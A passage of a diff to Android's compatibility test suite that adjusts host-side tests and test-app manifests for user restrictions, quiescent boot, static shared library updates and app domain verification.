+     * Tests that set-user-restriction is disabled on user builds.
+     */
+    @Test
+    public void testCantSetUserRestriction() throws Exception {
+        assumeNotRoot();
+
+        final String setRestriction = "pm set-user-restriction no_fun ";
+        final String output = getDevice().executeShellCommand(setRestriction + "1");
+        final boolean isErrorOutput = output.contains("SecurityException")
+                && output.contains("You need MANAGE_USERS permission");
+        assertWithMessage("Trying to set user restriction should fail with SecurityException. "
+                + "command output: %s", output).that(isErrorOutput).isTrue();
+    }
+}
diff --git a/hostsidetests/numberblocking/app/AndroidManifest.xml b/hostsidetests/numberblocking/app/AndroidManifest.xml
index 6ff2d9e..a327a34 100755
--- a/hostsidetests/numberblocking/app/AndroidManifest.xml
+++ b/hostsidetests/numberblocking/app/AndroidManifest.xml
@@ -15,27 +15,27 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.numberblocking.hostside">
+     package="com.android.cts.numberblocking.hostside">
 
     <uses-permission android:name="android.permission.CALL_PHONE"/>
     <uses-permission android:name="android.permission.READ_CALL_LOG"/>
     <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <service android:name=".CallBlockingTest$DummyConnectionService"
-            android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE">
+             android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telecom.ConnectionService" />
+                <action android:name="android.telecom.ConnectionService"/>
             </intent-filter>
         </service>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.numberblocking.hostside"
-                     android:label="Number blocking CTS Tests"/>
+         android:targetPackage="com.android.cts.numberblocking.hostside"
+         android:label="Number blocking CTS Tests"/>
 
 </manifest>
-
diff --git a/hostsidetests/os/AndroidTest.xml b/hostsidetests/os/AndroidTest.xml
index 5729e43..1eb77ac 100644
--- a/hostsidetests/os/AndroidTest.xml
+++ b/hostsidetests/os/AndroidTest.xml
@@ -26,6 +26,7 @@
         <option name="test-file-name" value="CtsHostProcfsTestApp.apk" />
         <option name="test-file-name" value="CtsInattentiveSleepTestApp.apk" />
         <option name="test-file-name" value="CtsHostEnvironmentTestApp.apk" />
+        <option name="test-file-name" value="CtsStaticSharedLibTestApp.apk" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsOsHostTestCases.jar" />
diff --git a/hostsidetests/os/app/src/android/os/app/TestFgService.java b/hostsidetests/os/app/src/android/os/app/TestFgService.java
index 3548105..e751d47 100644
--- a/hostsidetests/os/app/src/android/os/app/TestFgService.java
+++ b/hostsidetests/os/app/src/android/os/app/TestFgService.java
@@ -42,6 +42,7 @@
                 .setContentTitle("Foreground service")
                 .setContentText("Ongoing test app foreground service is live")
                 .setSmallIcon(NOTIFICATION_ID)
+                .setShowForegroundImmediately(true)
                 .build();
 
         Log.i(TAG, "TestFgService starting foreground: pid=" + Process.myPid());
diff --git a/hostsidetests/os/src/android/os/cts/OsHostTests.java b/hostsidetests/os/src/android/os/cts/OsHostTests.java
index 8e3f5c5..37f3e78 100644
--- a/hostsidetests/os/src/android/os/cts/OsHostTests.java
+++ b/hostsidetests/os/src/android/os/cts/OsHostTests.java
@@ -27,15 +27,11 @@
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IAbiReceiver;
 import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.util.AbiUtils;
 
 import java.io.BufferedReader;
 import java.io.File;
 import java.io.FileNotFoundException;
 import java.io.InputStreamReader;
-import java.util.Arrays;
-import java.util.HashSet;
-import java.util.Scanner;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
@@ -54,16 +50,6 @@
     private static final String FILTER_FG_SERVICE_REGEXP =
             "TestFgService starting foreground: pid=([0-9]*)";
 
-    // Testing the intent filter verification mechanism
-    private static final String HOST_VERIFICATION_APK = "CtsHostLinkVerificationApp.apk";
-    private static final String HOST_VERIFICATION_PKG = "com.android.cts.openlinksskeleton";
-    private static final String FILTER_VERIFIER_REGEXP =
-            "Verifying IntentFilter\\..* package:\"" + HOST_VERIFICATION_PKG + "\"";
-    private static final Pattern HOST_PATTERN = Pattern.compile(".*hosts:\"(.*?)\"");
-    // domains that should be validated against given our test apk
-    private static final String HOST_EXPLICIT = "explicit.example.com";
-    private static final String HOST_WILDCARD = "wildcard.tld";
-
     /**
      * A reference to the device under test.
      */
@@ -147,58 +133,4 @@
         assertTrue("Looking for nonexistence of service process " + pid,
                 lsOut.contains("No such file"));
     }
-
-    public void testIntentFilterHostValidation() throws Exception {
-        String line = null;
-        try {
-            // Clean slate in case of earlier aborted run
-            mDevice.uninstallPackage(HOST_VERIFICATION_PKG);
-
-            String[] options = { AbiUtils.createAbiFlag(mAbi.getName()) };
-
-            mDevice.clearLogcat();
-
-            String installResult = getDevice().installPackage(getTestAppFile(HOST_VERIFICATION_APK),
-                    false /* = reinstall? */, options);
-
-            assertNull("Couldn't install web intent filter sample apk", installResult);
-
-            String logs = mDevice.executeAdbCommand("logcat", "-v", "brief", "-d");
-            boolean foundVerifierOutput = false;
-            Pattern verifierPattern = Pattern.compile(FILTER_VERIFIER_REGEXP);
-            Scanner scanner = new Scanner(logs);
-            while (scanner.hasNextLine()) {
-                line = scanner.nextLine();
-                Matcher verifierMatcher = verifierPattern.matcher(line);
-                if (verifierMatcher.find()) {
-                    Matcher m = HOST_PATTERN.matcher(line);
-                    assertTrue(m.find());
-                    final String hostgroup = m.group(1);
-                    HashSet<String> allHosts = new HashSet<String>(
-                            Arrays.asList(hostgroup.split(" ")));
-                    assertEquals(2, allHosts.size());
-                    assertTrue("AllHosts Contains: " + allHosts, allHosts.contains(HOST_EXPLICIT));
-                    assertTrue("AllHosts Contains: " + allHosts, allHosts.contains(HOST_WILDCARD));
-                    foundVerifierOutput = true;
-                    break;
-                }
-            }
-
-            assertTrue(foundVerifierOutput);
-        } catch (Exception e) {
-            fail("Unable to parse verification results: " + e.getMessage()
-                    + " line=" + line);
-        } finally {
-            // Finally, uninstall the app
-            mDevice.uninstallPackage(HOST_VERIFICATION_PKG);
-        }
-    }
-
-    /*
-     * Helper: find a test apk
-     */
-    private File getTestAppFile(String fileName) throws FileNotFoundException {
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
-        return buildHelper.getTestFile(fileName);
-    }
 }
diff --git a/hostsidetests/os/src/android/os/cts/QuiescentBootTests.java b/hostsidetests/os/src/android/os/cts/QuiescentBootTests.java
index af7a35e..af062db 100644
--- a/hostsidetests/os/src/android/os/cts/QuiescentBootTests.java
+++ b/hostsidetests/os/src/android/os/cts/QuiescentBootTests.java
@@ -16,7 +16,6 @@
 
 package android.os.cts;
 
-
 import static android.os.PowerManagerInternalProto.Wakefulness.WAKEFULNESS_ASLEEP;
 import static android.os.PowerManagerInternalProto.Wakefulness.WAKEFULNESS_AWAKE;
 
@@ -29,6 +28,7 @@
 
 import com.android.compatibility.common.util.PropertyUtil;
 import com.android.compatibility.common.util.ProtoUtils;
+import com.android.compatibility.common.util.WindowManagerUtil;
 import com.android.server.power.PowerManagerServiceDumpProto;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -39,6 +39,9 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.ArrayList;
+import java.util.List;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class QuiescentBootTests extends BaseHostJUnit4Test {
     private static final int REBOOT_TIMEOUT = 60000;
@@ -55,7 +58,7 @@
     public synchronized void setUp() throws Exception {
         mDevice = getDevice();
         assumeTrue("Test only applicable to TVs.", hasDeviceFeature(FEATURE_LEANBACK_ONLY));
-        assumeFalse("Test only applicable to devices launching on android R or later.",
+        assumeFalse("Test only applicable to devices launching on Android 11 or later.",
             (PropertyUtil.getFirstApiLevel(mDevice) < 30));
     }
 
@@ -67,11 +70,9 @@
     }
 
     @Test
-    public void testQuiescentBoot_sysPropSet_asleep() throws Exception {
+    public void testQuiescentBoot_asleep() throws Exception {
         mDevice.executeAdbCommand("reboot", "quiescent");
         mDevice.waitForBootComplete(REBOOT_TIMEOUT);
-        assertEquals("Quiescent system property (ro.boot.quiescent) not set.",
-                "1", mDevice.getProperty("ro.boot.quiescent"));
         assertEquals("Expected to boot into sleep state.", WAKEFULNESS_ASLEEP, getWakefulness());
     }
 
@@ -89,11 +90,6 @@
         mDevice.executeAdbCommand("reboot", "quiescent");
         mDevice.waitForBootComplete(REBOOT_TIMEOUT);
 
-        mDevice.executeAdbCommand("reboot", "quiescent");
-        mDevice.waitForBootComplete(REBOOT_TIMEOUT);
-
-        assertEquals("Quiescent system property (ro.boot.quiescent) not set.",
-                "1", mDevice.getProperty("ro.boot.quiescent"));
         assertEquals("Expected to boot into sleep state.", WAKEFULNESS_ASLEEP, getWakefulness());
     }
 
@@ -105,11 +101,18 @@
         mDevice.executeAdbCommand("reboot");
         mDevice.waitForBootComplete(REBOOT_TIMEOUT);
 
-        assertNull("Quiescent system property (ro.boot.quiescent) unexpectedly set.",
-                mDevice.getProperty("ro.boot.quiescent"));
         assertEquals("Expected to boot in awake state.", WAKEFULNESS_AWAKE, getWakefulness());
     }
 
+    @Test
+    public void testQuiescentBoot_activitiesNotResumedAfterBoot() throws Exception {
+        mDevice.executeAdbCommand("reboot", "quiescent");
+        mDevice.waitForBootComplete(REBOOT_TIMEOUT);
+
+        List<String> resumedActivities = WindowManagerUtil.getResumedActivities(getDevice());
+        assertEquals("Expected no resumed activities", 0, resumedActivities.size());
+    }
+
     private Wakefulness getWakefulness() throws Exception {
         return ((PowerManagerServiceDumpProto) ProtoUtils.getProto(getDevice(),
                 PowerManagerServiceDumpProto.parser(),
diff --git a/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java b/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java
index 689a095..360d8d7 100644
--- a/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java
+++ b/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java
@@ -671,6 +671,23 @@
         }
     }
 
+    public void testSamegradeStaticSharedLibByAdb() throws Exception {
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER5_PKG);
+        try {
+            assertNull(install(STATIC_LIB_PROVIDER5_APK));
+            assertNull(install(STATIC_LIB_PROVIDER5_APK, true /*reinstall*/));
+        } finally {
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER5_PKG);
+        }
+    }
+
+    @AppModeFull(reason = "Instant app cannot get package installer service")
+    public void testCannotSamegradeStaticSharedLibByInstaller() throws Exception {
+        runDeviceTests("android.os.lib.app",
+                "android.os.lib.app.StaticSharedLibsTests",
+                "testSamegradeStaticSharedLibFail");
+    }
+
     private void runDeviceTests(String packageName, String testClassName,
             String testMethodName) throws DeviceNotAvailableException {
         RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(packageName,
diff --git a/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.bp b/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.bp
deleted file mode 100644
index 3fb73fe..0000000
--- a/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.bp
+++ /dev/null
@@ -1,30 +0,0 @@
-//
-// Copyright (C) 2016 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test_helper_app {
-    name: "CtsHostLinkVerificationApp",
-    defaults: ["cts_support_defaults"],
-    sdk_version: "current",
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
-}
diff --git a/hostsidetests/os/test-apps/HostLinkVerificationApp/AndroidManifest.xml b/hostsidetests/os/test-apps/HostLinkVerificationApp/AndroidManifest.xml
deleted file mode 100644
index 9480418..0000000
--- a/hostsidetests/os/test-apps/HostLinkVerificationApp/AndroidManifest.xml
+++ /dev/null
@@ -1,42 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<!-- Declare the contents of this Android application.  The namespace
-     attribute brings in the Android platform namespace, and the package
-     supplies a unique name for the application.  When writing your
-     own application, the package name must be changed from "com.example.*"
-     to come from a domain that you own or have control over. -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.openlinksskeleton"
-    android:versionCode="1"
-    android:versionName="1.0">
-
-    <application android:label="Open Links Skeleton" android:hasCode="false" >
-
-        <activity android:name="DummyWebLinkActivity">
-            <intent-filter android:autoVerify="true">
-                <action android:name="android.intent.action.VIEW" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="http" />
-                <data android:scheme="https" />
-                <data android:host="explicit.example.com" />
-                <data android:host="*.wildcard.tld" />
-            </intent-filter>
-        </activity>
-
-    </application>
-</manifest>
diff --git a/hostsidetests/os/test-apps/InattentiveSleepTestApp/AndroidManifest.xml b/hostsidetests/os/test-apps/InattentiveSleepTestApp/AndroidManifest.xml
index 487b8cc..3588a14 100755
--- a/hostsidetests/os/test-apps/InattentiveSleepTestApp/AndroidManifest.xml
+++ b/hostsidetests/os/test-apps/InattentiveSleepTestApp/AndroidManifest.xml
@@ -16,10 +16,11 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.os.inattentivesleeptests"
-          android:targetSandboxVersion="2">
+     package="android.os.inattentivesleeptests"
+     android:targetSandboxVersion="2">
     <application>
-        <activity android:name=".KeepScreenOnActivity">
+        <activity android:name=".KeepScreenOnActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.DEFAULT"/>
@@ -28,4 +29,3 @@
         </activity>
     </application>
 </manifest>
-
diff --git a/hostsidetests/os/test-apps/PowerManagerTestApp/AndroidManifest.xml b/hostsidetests/os/test-apps/PowerManagerTestApp/AndroidManifest.xml
index 4fb0653..08e418f 100755
--- a/hostsidetests/os/test-apps/PowerManagerTestApp/AndroidManifest.xml
+++ b/hostsidetests/os/test-apps/PowerManagerTestApp/AndroidManifest.xml
@@ -16,11 +16,12 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.os.powermanagertests"
-    android:targetSandboxVersion="2">
-  <uses-permission android:name="android.permission.WAKE_LOCK" />
+     package="android.os.powermanagertests"
+     android:targetSandboxVersion="2">
+  <uses-permission android:name="android.permission.WAKE_LOCK"/>
   <application>
-    <activity android:name=".WakeLockTest">
+    <activity android:name=".WakeLockTest"
+         android:exported="true">
       <intent-filter>
         <action android:name="android.intent.action.MAIN"/>
         <category android:name="android.intent.category.DEFAULT"/>
@@ -29,4 +30,3 @@
     </activity>
   </application>
 </manifest>
-
diff --git a/hostsidetests/os/test-apps/StaticSharedLibTestApp/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibTestApp/Android.bp
new file mode 100644
index 0000000..f1e233b
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibTestApp/Android.bp
@@ -0,0 +1,38 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsStaticSharedLibTestApp",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "cts-install-lib",
+    ],
+    java_resources: [
+        ":CtsStaticSharedLibProviderApp5",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedLibTestApp/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedLibTestApp/AndroidManifest.xml
new file mode 100755
index 0000000..51589ea
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibTestApp/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.os.lib.app">
+
+    <application>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.os.lib.app"/>
+</manifest>
+
diff --git a/hostsidetests/os/test-apps/StaticSharedLibTestApp/OWNERS b/hostsidetests/os/test-apps/StaticSharedLibTestApp/OWNERS
new file mode 100644
index 0000000..4247866
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibTestApp/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 36137
+rhedjao@google.com
+patb@google.com
+toddke@google.com
+
diff --git a/hostsidetests/os/test-apps/StaticSharedLibTestApp/src/android/os/lib/app/StaticSharedLibsTests.java b/hostsidetests/os/test-apps/StaticSharedLibTestApp/src/android/os/lib/app/StaticSharedLibsTests.java
new file mode 100644
index 0000000..29bb524
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibTestApp/src/android/os/lib/app/StaticSharedLibsTests.java
@@ -0,0 +1,101 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.lib.app;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.Manifest;
+import android.content.pm.PackageManager;
+import android.content.pm.SharedLibraryInfo;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.TestApp;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Optional;
+
+/**
+ * On-device tests driven by StaticSharedLibsHostTests.
+ */
+@RunWith(AndroidJUnit4.class)
+public class StaticSharedLibsTests {
+
+    private static final String STATIC_LIB_PROVIDER5_PKG = "android.os.lib.provider";
+    private static final String STATIC_LIB_PROVIDER5_NAME = "android.os.lib.provider_2";
+    private static final TestApp TESTAPP_STATIC_LIB_PROVIDER5 = new TestApp(
+            "TestStaticSharedLibProvider5", STATIC_LIB_PROVIDER5_PKG, 1, /*isApex*/ false,
+            "CtsStaticSharedLibProviderApp5.apk");
+
+    @Before
+    public void setUp() throws Exception {
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(
+                        Manifest.permission.INSTALL_PACKAGES);
+        clear();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        clear();
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    @Test
+    public void testSamegradeStaticSharedLibFail() throws Exception {
+        Install.single(TESTAPP_STATIC_LIB_PROVIDER5).commit();
+        assertThat(getSharedLibraryInfo(STATIC_LIB_PROVIDER5_NAME)).isNotNull();
+
+        InstallUtils.commitExpectingFailure(AssertionError.class,
+                "Packages declaring static-shared libs cannot be updated",
+                Install.single(TESTAPP_STATIC_LIB_PROVIDER5));
+    }
+
+    private void clear() {
+        uninstallSharedLibrary(STATIC_LIB_PROVIDER5_PKG, STATIC_LIB_PROVIDER5_NAME);
+    }
+
+    private SharedLibraryInfo getSharedLibraryInfo(String libName) {
+        final PackageManager packageManager = InstrumentationRegistry.getContext()
+                .getPackageManager();
+        final Optional<SharedLibraryInfo> libraryInfo = packageManager.getSharedLibraries(0)
+                .stream().filter(lib -> lib.getName().equals(libName)).findAny();
+        return libraryInfo.isPresent() ? libraryInfo.get() : null;
+    }
+
+    private void uninstallSharedLibrary(String packageName, String libName) {
+        if (getSharedLibraryInfo(libName) == null) {
+            return;
+        }
+        runShellCommand("pm uninstall " + packageName);
+        assertThat(getSharedLibraryInfo(libName)).isNull();
+    }
+}
diff --git a/hostsidetests/packagemanager/domainverification/OWNERS b/hostsidetests/packagemanager/domainverification/OWNERS
new file mode 100644
index 0000000..dd85fa9
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 36137
+chiuwinson@google.com
+patb@google.com
+toddke@google.com
diff --git a/hostsidetests/packagemanager/domainverification/apps/calling/Android.bp b/hostsidetests/packagemanager/domainverification/apps/calling/Android.bp
new file mode 100644
index 0000000..aa8008a
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/apps/calling/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsDomainVerificationTestCallingApp",
+    srcs: [ "src/**/*.kt" ],
+    defaults: ["cts_defaults"],
+    sdk_version: "test_current",
+    static_libs: [
+        "androidx.test.ext.junit",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "CtsDomainVerificationAndroidConstantsLibrary",
+        "CtsDomainVerificationJavaConstantsLibrary",
+        "CtsDomainVerificationVerificationsLibrary",
+        "junit",
+        "kotlin-reflect",
+        "truth-prebuilt",
+    ]
+}
diff --git a/hostsidetests/packagemanager/domainverification/apps/calling/AndroidManifest.xml b/hostsidetests/packagemanager/domainverification/apps/calling/AndroidManifest.xml
new file mode 100644
index 0000000..ee120fd
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/apps/calling/AndroidManifest.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?><!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.packagemanager.verify.domain.callingapp">
+
+    <application android:label="Calling Test App">
+        <uses-library android:name="android.test.runner" />
+        <activity android:name=".CallingActivity" android:exported="true"/>
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.packagemanager.verify.domain.callingapp" />
+
+    <queries>
+        <package android:name="com.android.cts.packagemanager.verify.domain.declaringapp1"/>
+        <package android:name="com.android.cts.packagemanager.verify.domain.declaringapp2"/>
+        <intent>
+            <action android:name="android.intent.action.VIEW" />
+            <data android:scheme="https" />
+        </intent>
+        <intent>
+            <action android:name="android.intent.action.VIEW" />
+            <data android:scheme="http" />
+        </intent>
+    </queries>
+
+</manifest>
+
diff --git a/hostsidetests/packagemanager/domainverification/apps/calling/src/com/android/cts/packagemanager/verify/domain/callingapp/CallingActivity.kt b/hostsidetests/packagemanager/domainverification/apps/calling/src/com/android/cts/packagemanager/verify/domain/callingapp/CallingActivity.kt
new file mode 100644
index 0000000..1b1af08
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/apps/calling/src/com/android/cts/packagemanager/verify/domain/callingapp/CallingActivity.kt
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packagemanager.verify.domain.callingapp
+
+import android.app.Activity
+
+class CallingActivity : Activity()
diff --git a/hostsidetests/packagemanager/domainverification/apps/calling/src/com/android/cts/packagemanager/verify/domain/callingapp/DomainVerificationCallingAppTests.kt b/hostsidetests/packagemanager/domainverification/apps/calling/src/com/android/cts/packagemanager/verify/domain/callingapp/DomainVerificationCallingAppTests.kt
new file mode 100644
index 0000000..24653b3
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/apps/calling/src/com/android/cts/packagemanager/verify/domain/callingapp/DomainVerificationCallingAppTests.kt
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packagemanager.verify.domain.callingapp
+
+import android.app.Instrumentation
+import androidx.test.platform.app.InstrumentationRegistry
+import com.android.cts.packagemanager.verify.domain.SharedVerifications
+import org.junit.After
+import org.junit.Before
+import org.junit.Test
+
+class DomainVerificationCallingAppTests {
+
+    private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+    private val context = instrumentation.targetContext
+
+    @Before
+    @After
+    fun reset() {
+        SharedVerifications.reset(context)
+    }
+
+    @Test
+    fun verifyUnownedDomains() {
+        SharedVerifications.verifyDomains(context)
+    }
+}
diff --git a/hostsidetests/packagemanager/domainverification/apps/calling/src/com/android/cts/packagemanager/verify/domain/callingapp/DomainVerificationIntentHostTimedTests.kt b/hostsidetests/packagemanager/domainverification/apps/calling/src/com/android/cts/packagemanager/verify/domain/callingapp/DomainVerificationIntentHostTimedTests.kt
new file mode 100644
index 0000000..0526f2e
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/apps/calling/src/com/android/cts/packagemanager/verify/domain/callingapp/DomainVerificationIntentHostTimedTests.kt
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packagemanager.verify.domain.callingapp
+
+import com.android.cts.packagemanager.verify.domain.android.DomainUtils.DECLARING_PKG_1_COMPONENT
+import com.android.cts.packagemanager.verify.domain.android.DomainUtils.DECLARING_PKG_2_COMPONENT
+import com.android.cts.packagemanager.verify.domain.android.DomainVerificationIntentTestBase
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DECLARING_PKG_NAME_2
